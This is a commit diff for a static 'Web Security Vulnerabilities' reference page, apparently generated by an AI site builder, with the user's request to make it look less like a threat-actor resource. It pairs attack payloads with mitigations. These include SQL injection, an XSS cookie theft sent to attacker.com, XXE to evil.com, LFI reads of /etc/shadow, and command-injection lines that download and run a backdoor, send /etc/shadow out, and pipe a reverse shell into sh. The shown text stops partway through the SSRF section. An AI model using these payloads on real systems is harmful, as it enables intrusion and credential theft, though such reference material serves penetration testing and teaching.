defuse commited on
Commit
348020b
·
verified ·
1 Parent(s): 2e78b84

You can elaborate and/or flesh it out and/or contextualize it any way you want, but I want it in tact (actually it would be great if you also wanted to contribute some novel ideas into the lists if you have any you see I'm missing or haven't talked about, that includes entire methods if you please) and to look less like a threat actor resource WHICH IT IS NOT and more as the quick reference which it is for my work:

Browse files
Files changed (4) hide show
  1. README.md +7 -4
  2. index.html +813 -19
  3. script.js +306 -0
  4. style.css +208 -19
README.md CHANGED
@@ -1,10 +1,13 @@
1
  ---
2
  title: Security Reference Guide
3
- emoji: 🌍
4
- colorFrom: red
5
- colorTo: purple
6
  sdk: static
7
  pinned: false
 
 
8
  ---
9
 
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
1
  ---
2
  title: Security Reference Guide
3
+ colorFrom: green
4
+ colorTo: red
5
+ emoji: 🐳
6
  sdk: static
7
  pinned: false
8
+ tags:
9
+ - deepsite-v3
10
  ---
11
 
12
+ # Welcome to your new DeepSite project!
13
+ This project was created with [DeepSite](https://huggingface.co/deepsite).
index.html CHANGED
@@ -1,19 +1,813 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
19
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en" class="dark">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Web Security Vulnerabilities - Professional Reference Guide</title>
7
+ <link rel="icon" type="image/x-icon" href="/static/favicon.ico">
8
+ <script src="https://cdn.tailwindcss.com"></script>
9
+ <script src="https://unpkg.com/feather-icons"></script>
10
+ <link href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism-tomorrow.min.css" rel="stylesheet" />
11
+ <script>
12
+ tailwind.config = {
13
+ theme: {
14
+ extend: {
15
+ colors: {
16
+ primary: {
17
+ 50: '#f8f9fa',
18
+ 100: '#e9ecef',
19
+ 200: '#dee2e6',
20
+ 300: '#ced4da',
21
+ 400: '#adb5bd',
22
+ 500: '#6c757d',
23
+ 600: '#495057',
24
+ 700: '#343a40',
25
+ 800: '#212529',
26
+ 900: '#000000',
27
+ },
28
+ accent: {
29
+ 50: '#fff7ed',
30
+ 100: '#ffedd5',
31
+ 200: '#fed7aa',
32
+ 300: '#fdba74',
33
+ 400: '#fb923c',
34
+ 500: '#f97316',
35
+ 600: '#ea580c',
36
+ 700: '#c2410c',
37
+ 800: '#9a3412',
38
+ 900: '#7c2d12',
39
+ }
40
+ }
41
+ }
42
+ },
43
+ darkMode: 'class'
44
+ }
45
+ </script>
46
+ <style>
47
+ .gradient-bg {
48
+ background: linear-gradient(135deg, #000000 0%, #1a1a1a 100%);
49
+ }
50
+ .hero-pattern {
51
+ background-image: radial-gradient(circle at 1px 1px, rgba(249, 115, 22, 0.1) 1px, transparent 0);
52
+ background-size: 20px 20px;
53
+ }
54
+ .vulnerability-card {
55
+ transition: all 0.3s ease;
56
+ }
57
+ .vulnerability-card:hover {
58
+ transform: translateY(-2px);
59
+ box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.5), 0 10px 10px -5px rgba(0, 0, 0, 0.3);
60
+ }
61
+ .code-block {
62
+ background: #1a1a1a;
63
+ border: 1px solid #333;
64
+ border-radius: 8px;
65
+ }
66
+ .scroll-smooth {
67
+ scroll-behavior: smooth;
68
+ }
69
+ </style>
70
+ </head>
71
+ <body class="bg-black-900 text-white font-sans scroll-smooth">
72
+ <!-- Navigation -->
73
+ <nav class="fixed top-0 w-full bg-black-900/95 backdrop-blur-sm border-b border-gray-800 z-50">
74
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
75
+ <div class="flex justify-between items-center h-16">
76
+ <div class="flex items-center">
77
+ <i data-feather="shield" class="w-8 h-8 text-accent-500 mr-3"></i>
78
+ <span class="text-xl font-bold text-white">Security Reference</span>
79
+ </div>
80
+ <div class="hidden md:block">
81
+ <div class="ml-10 flex items-baseline space-x-4">
82
+ <a href="#overview" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Overview</a>
83
+ <a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Vulnerabilities</a>
84
+ <a href="#methodologies" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Methodologies</a>
85
+ <a href="#resources" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Resources</a>
86
+ </div>
87
+ </div>
88
+ <div class="md:hidden">
89
+ <button id="mobile-menu-button" class="text-gray-300 hover:text-accent-500">
90
+ <i data-feather="menu" class="w-6 h-6"></i>
91
+ </button>
92
+ </div>
93
+ </div>
94
+ </div>
95
+ <!-- Mobile menu -->
96
+ <div id="mobile-menu" class="md:hidden hidden bg-black-800 border-t border-gray-700">
97
+ <div class="px-2 pt-2 pb-3 space-y-1 sm:px-3">
98
+ <a href="#overview" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Overview</a>
99
+ <a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Vulnerabilities</a>
100
+ <a href="#methodologies" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Methodologies</a>
101
+ <a href="#resources" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Resources</a>
102
+ </div>
103
+ </div>
104
+ </nav>
105
+
106
+ <!-- Hero Section -->
107
+ <section class="relative pt-20 pb-16 gradient-bg hero-pattern">
108
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
109
+ <div class="text-center">
110
+ <h1 class="text-4xl md:text-6xl font-bold text-white mb-6">
111
+ Web Security Vulnerabilities
112
+ <span class="text-accent-500 block">Professional Reference Guide</span>
113
+ </h1>
114
+ <p class="text-xl text-gray-300 mb-8 max-w-3xl mx-auto">
115
+ A comprehensive reference guide for security professionals, penetration testers, and developers
116
+ </p>
117
+ <div class="flex flex-col sm:flex-row justify-center items-center space-y-4 sm:space-y-0 sm:space-x-8 mb-12">
118
+ <div class="flex items-center">
119
+ <i data-feather="database" class="w-6 h-6 text-accent-500 mr-2"></i>
120
+ <span class="text-lg font-semibold">15+ Vulnerability Types</span>
121
+ </div>
122
+ <div class="flex items-center">
123
+ <i data-feather="check-circle" class="w-6 h-6 text-accent-500 mr-2"></i>
124
+ <span class="text-lg font-semibold">200+ Test Cases</span>
125
+ </div>
126
+ <div class="flex items-center">
127
+ <i data-feather="shield-check" class="w-6 h-6 text-accent-500 mr-2"></i>
128
+ <span class="text-lg font-semibold">Professional Security Reference</span>
129
+ </div>
130
+ </div>
131
+ <div class="relative">
132
+ <img src="https://dfews.com/hero-security-center.png" alt="Security Operations Center" class="mx-auto rounded-lg shadow-2xl border border-gray-700 max-w-full h-auto">
133
+ <div class="absolute inset-0 bg-gradient-to-t from-black-900/50 to-transparent rounded-lg"></div>
134
+ </div>
135
+ </div>
136
+ </div>
137
+ </section>
138
+
139
+ <!-- Overview Section -->
140
+ <section id="overview" class="py-16 bg-black-800">
141
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
142
+ <div class="text-center mb-12">
143
+ <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Security Testing Overview</h2>
144
+ <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
145
+ </div>
146
+ <div class="grid md:grid-cols-3 gap-8">
147
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
148
+ <div class="flex items-center mb-4">
149
+ <i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
150
+ <h3 class="text-xl font-semibold text-white">Professional Purpose</h3>
151
+ </div>
152
+ <p class="text-gray-300">
153
+ This reference guide is designed for legitimate security testing, penetration testing, and vulnerability assessment activities. All content is provided for educational and professional development purposes.
154
+ </p>
155
+ </div>
156
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
157
+ <div class="flex items-center mb-4">
158
+ <i data-feather="cpu" class="w-8 h-8 text-accent-500 mr-3"></i>
159
+ <h3 class="text-xl font-semibold text-white">Testing Methodologies</h3>
160
+ </div>
161
+ <p class="text-gray-300">
162
+ Covering OWASP Top 10, advanced injection techniques, authentication bypasses, and modern attack vectors used in professional security assessments.
163
+ </p>
164
+ </div>
165
+ <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
166
+ <div class="flex items-center mb-4">
167
+ <i data-feather="heart" class="w-8 h-8 text-accent-500 mr-3"></i>
168
+ <h3 class="text-xl font-semibold text-white">Best Practices</h3>
169
+ </div>
170
+ <p class="text-gray-300">
171
+ All testing should be performed on authorized systems only. This guide emphasizes responsible disclosure and ethical security practices.
172
+ </p>
173
+ </div>
174
+ </div>
175
+ </div>
176
+ </section>
177
+
178
+ <!-- Vulnerabilities Section -->
179
+ <section id="vulnerabilities" class="py-16 bg-black-900">
180
+ <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
181
+ <div class="text-center mb-12">
182
+ <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Vulnerability Reference</h2>
183
+ <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
184
+ <p class="text-gray-300 mt-4 max-w-2xl mx-auto">
185
+ Comprehensive reference covering common web application vulnerabilities, test cases, and mitigation strategies
186
+ </p>
187
+ </div>
188
+
189
+ <!-- SQL Injection -->
190
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
191
+ <div class="flex items-center mb-4">
192
+ <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
193
+ <h3 class="text-2xl font-bold text-white">SQL Injection</h3>
194
+ <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
195
+ </div>
196
+ <p class="text-gray-300 mb-6">
197
+ SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.
198
+ </p>
199
+ <div class="grid md:grid-cols-2 gap-6">
200
+ <div>
201
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
202
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
203
+ <pre><code class="text-green-400 text-sm">' OR 1=1--
204
+ "; DELETE FROM users--
205
+ " UNION SELECT password FROM users WHERE username = 'admin'--
206
+ " OR '1'='1
207
+ " OR "1"="1
208
+ " OR "a"="a
209
+ " AND "a"="b
210
+ " OR "a" LIKE "a
211
+ ' UNION SELECT NULL,NULL,NULL--
212
+ ' UNION SELECT username,password,NULL FROM users--
213
+ '; WAITFOR DELAY '0:0:5'--
214
+ '; SELECT * FROM sys.tables--</code></pre>
215
+ </div>
216
+ </div>
217
+ <div>
218
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
219
+ <ul class="space-y-2 text-gray-300">
220
+ <li class="flex items-start">
221
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
222
+ Use parameterized queries and prepared statements
223
+ </li>
224
+ <li class="flex items-start">
225
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
226
+ Implement proper input validation and sanitization
227
+ </li>
228
+ <li class="flex items-start">
229
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
230
+ Apply principle of least privilege to database users
231
+ </li>
232
+ <li class="flex items-start">
233
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
234
+ Use stored procedures with proper parameterization
235
+ </li>
236
+ <li class="flex items-start">
237
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
238
+ Enable SQL query logging and monitoring
239
+ </li>
240
+ <li class="flex items-start">
241
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
242
+ Use web application firewalls (WAF) with SQL injection rules
243
+ </li>
244
+ </ul>
245
+ </div>
246
+ </div>
247
+ </div>
248
+
249
+ <!-- XSS -->
250
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
251
+ <div class="flex items-center mb-4">
252
+ <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
253
+ <h3 class="text-2xl font-bold text-white">Cross-Site Scripting (XSS)</h3>
254
+ <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
255
+ </div>
256
+ <p class="text-gray-300 mb-6">
257
+ XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.
258
+ </p>
259
+ <div class="grid md:grid-cols-2 gap-6">
260
+ <div>
261
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
262
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
263
+ <pre><code class="text-green-400 text-sm">&lt;script&gt;alert("XSS")&lt;/script&gt;
264
+ &lt;script&gt;alert(document.cookie)&lt;/script&gt;
265
+ &lt;img src="x" onerror="alert(document.cookie)"&gt;
266
+ &lt;a href="javascript:alert(document.cookie)"&gt;Click Here&lt;/a&gt;
267
+ &lt;svg onload=alert(document.domain)&gt;
268
+ &lt;script&gt;fetch('//attacker.com/xss?data='+document.cookie)&lt;/script&gt;</code></pre>
269
+ </div>
270
+ </div>
271
+ <div>
272
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
273
+ <ul class="space-y-2 text-gray-300">
274
+ <li class="flex items-start">
275
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
276
+ Implement Content Security Policy (CSP) headers
277
+ </li>
278
+ <li class="flex items-start">
279
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
280
+ Encode output based on context (HTML, JavaScript, URL)
281
+ </li>
282
+ <li class="flex items-start">
283
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
284
+ Use modern frameworks with built-in XSS protection
285
+ </li>
286
+ <li class="flex items-start">
287
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
288
+ Validate and sanitize all user input
289
+ </li>
290
+ <li class="flex items-start">
291
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
292
+ Use HTTP-only and Secure cookie flags
293
+ </li>
294
+ <li class="flex items-start">
295
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
296
+ Implement proper input validation on both client and server
297
+ </li>
298
+ </ul>
299
+ </div>
300
+ </div>
301
+ </div>
302
+
303
+ <!-- CSRF -->
304
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
305
+ <div class="flex items-center mb-4">
306
+ <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
307
+ <h3 class="text-2xl font-bold text-white">Cross-Site Request Forgery (CSRF)</h3>
308
+ <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
309
+ </div>
310
+ <p class="text-gray-300 mb-6">
311
+ CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.
312
+ </p>
313
+ <div class="grid md:grid-cols-2 gap-6">
314
+ <div>
315
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
316
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
317
+ <pre><code class="text-green-400 text-sm">&lt;img src="http://example.com/transfer.php?amount=1000&to=attacker_account" /&gt;
318
+
319
+ &lt;form action="http://example.com/transfer.php" method="POST"&gt;
320
+ &lt;input type="hidden" name="amount" value="1000"&gt;
321
+ &lt;input type="hidden" name="to" value="attacker_account"&gt;
322
+ &lt;input type="submit" value="Submit request"&gt;
323
+ &lt;/form&gt;</code></pre>
324
+ </div>
325
+ </div>
326
+ <div>
327
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
328
+ <ul class="space-y-2 text-gray-300">
329
+ <li class="flex items-start">
330
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
331
+ Implement CSRF tokens for state-changing operations
332
+ </li>
333
+ <li class="flex items-start">
334
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
335
+ Use SameSite cookie attributes
336
+ </li>
337
+ <li class="flex items-start">
338
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
339
+ Validate Referer and Origin headers
340
+ </li>
341
+ <li class="flex items-start">
342
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
343
+ Implement double-submit cookie pattern
344
+ </li>
345
+ <li class="flex items-start">
346
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
347
+ Use custom request headers for API endpoints
348
+ </li>
349
+ <li class="flex items-start">
350
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
351
+ Implement proper authentication for sensitive operations
352
+ </li>
353
+ </ul>
354
+ </div>
355
+ </div>
356
+ </div>
357
+
358
+ <!-- LFI -->
359
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
360
+ <div class="flex items-center mb-4">
361
+ <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
362
+ <h3 class="text-2xl font-bold text-white">Local File Inclusion (LFI)</h3>
363
+ <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
364
+ </div>
365
+ <p class="text-gray-300 mb-6">
366
+ LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.
367
+ </p>
368
+ <div class="grid md:grid-cols-2 gap-6">
369
+ <div>
370
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
371
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
372
+ <pre><code class="text-green-400 text-sm">../../../etc/passwd
373
+ ../../../etc/shadow
374
+ /proc/self/environ%00
375
+ ../../../../../../../../../../etc/passwd%00
376
+ ../../../../../../../../../../../Windows/win.ini%00
377
+ php://filter/convert.base64-encode/resource=index.php
378
+ data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
379
+ expect://ls</code></pre>
380
+ </div>
381
+ </div>
382
+ <div>
383
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
384
+ <ul class="space-y-2 text-gray-300">
385
+ <li class="flex items-start">
386
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
387
+ Use allowlists for file inclusion
388
+ </li>
389
+ <li class="flex items-start">
390
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
391
+ Validate and sanitize file paths
392
+ </li>
393
+ <li class="flex items-start">
394
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
395
+ Disable dangerous PHP functions
396
+ </li>
397
+ <li class="flex items-start">
398
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
399
+ Use proper file permissions
400
+ </li>
401
+ <li class="flex items-start">
402
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
403
+ Implement proper error handling
404
+ </li>
405
+ <li class="flex items-start">
406
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
407
+ Use chroot or jail environments
408
+ </li>
409
+ </ul>
410
+ </div>
411
+ </div>
412
+ </div>
413
+
414
+ <!-- XXE -->
415
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
416
+ <div class="flex items-center mb-4">
417
+ <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
418
+ <h3 class="text-2xl font-bold text-white">XML External Entity (XXE)</h3>
419
+ <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
420
+ </div>
421
+ <p class="text-gray-300 mb-6">
422
+ XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.
423
+ </p>
424
+ <div class="grid md:grid-cols-2 gap-6">
425
+ <div>
426
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
427
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
428
+ <pre><code class="text-green-400 text-sm">&lt;!DOCTYPE foo [
429
+ &lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;
430
+ ]&gt;
431
+ &lt;foo&gt;&amp;xxe;&lt;/foo&gt;
432
+
433
+ &lt;!DOCTYPE foo [
434
+ &lt;!ENTITY xxe SYSTEM "http://evil.com/exploit"&gt;
435
+ ]&gt;
436
+ &lt;foo&gt;&amp;xxe;&lt;/foo&gt;</code></pre>
437
+ </div>
438
+ </div>
439
+ <div>
440
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
441
+ <ul class="space-y-2 text-gray-300">
442
+ <li class="flex items-start">
443
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
444
+ Disable XML external entity processing
445
+ </li>
446
+ <li class="flex items-start">
447
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
448
+ Use modern XML parsers with secure defaults
449
+ </li>
450
+ <li class="flex items-start">
451
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
452
+ Validate XML input against strict schemas
453
+ </li>
454
+ <li class="flex items-start">
455
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
456
+ Consider using JSON instead of XML
457
+ </li>
458
+ <li class="flex items-start">
459
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
460
+ Implement proper input validation
461
+ </li>
462
+ <li class="flex items-start">
463
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
464
+ Use sandboxed XML processing environments
465
+ </li>
466
+ </ul>
467
+ </div>
468
+ </div>
469
+ </div>
470
+
471
+ <!-- Command Injection -->
472
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
473
+ <div class="flex items-center mb-4">
474
+ <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
475
+ <h3 class="text-2xl font-bold text-white">Command Injection</h3>
476
+ <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
477
+ </div>
478
+ <p class="text-gray-300 mb-6">
479
+ Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.
480
+ </p>
481
+ <div class="grid md:grid-cols-2 gap-6">
482
+ <div>
483
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
484
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
485
+ <pre><code class="text-green-400 text-sm">; cat /etc/passwd
486
+ && wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
487
+ | base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
488
+ `echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
489
+ $(curl http://attacker.com/reverse_shell.sh | sh)</code></pre>
490
+ </div>
491
+ </div>
492
+ <div>
493
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
494
+ <ul class="space-y-2 text-gray-300">
495
+ <li class="flex items-start">
496
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
497
+ Avoid using system commands with user input
498
+ </li>
499
+ <li class="flex items-start">
500
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
501
+ Use parameterized commands or APIs
502
+ </li>
503
+ <li class="flex items-start">
504
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
505
+ Implement strict input validation and sanitization
506
+ </li>
507
+ <li class="flex items-start">
508
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
509
+ Use proper escaping and encoding
510
+ </li>
511
+ <li class="flex items-start">
512
+ <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
513
+ Run applications with least privilege
514
+ </li>
515
+ </ul>
516
+ </div>
517
+ </div>
518
+ </div>
519
+
520
+ <!-- SSRF -->
521
+ <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
522
+ <div class="flex items-center mb-4">
523
+ <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
524
+ <h3 class="text-2xl font-bold text-white">Server-Side Request Forgery (SSRF)</h3>
525
+ <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
526
+ </div>
527
+ <p class="text-gray-300 mb-6">
528
+ Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
529
+ </p>
530
+ <div class="grid md:grid-cols-2 gap-6">
531
+ <div>
532
+ <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
533
+ <div class="code-block p-4 rounded-lg overflow-x-auto">
534
+ <pre><code class="text-green-400 text-sm">http://localhost:8080/admin
535
+ http://127.0.0.1:3306
536
+ http://10.0.0.0/8
537
+ http://[::1]:22
538
+ file:///etc/passwd
539
+ dict://attacker:11111/
540
+ gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1</code></pre>
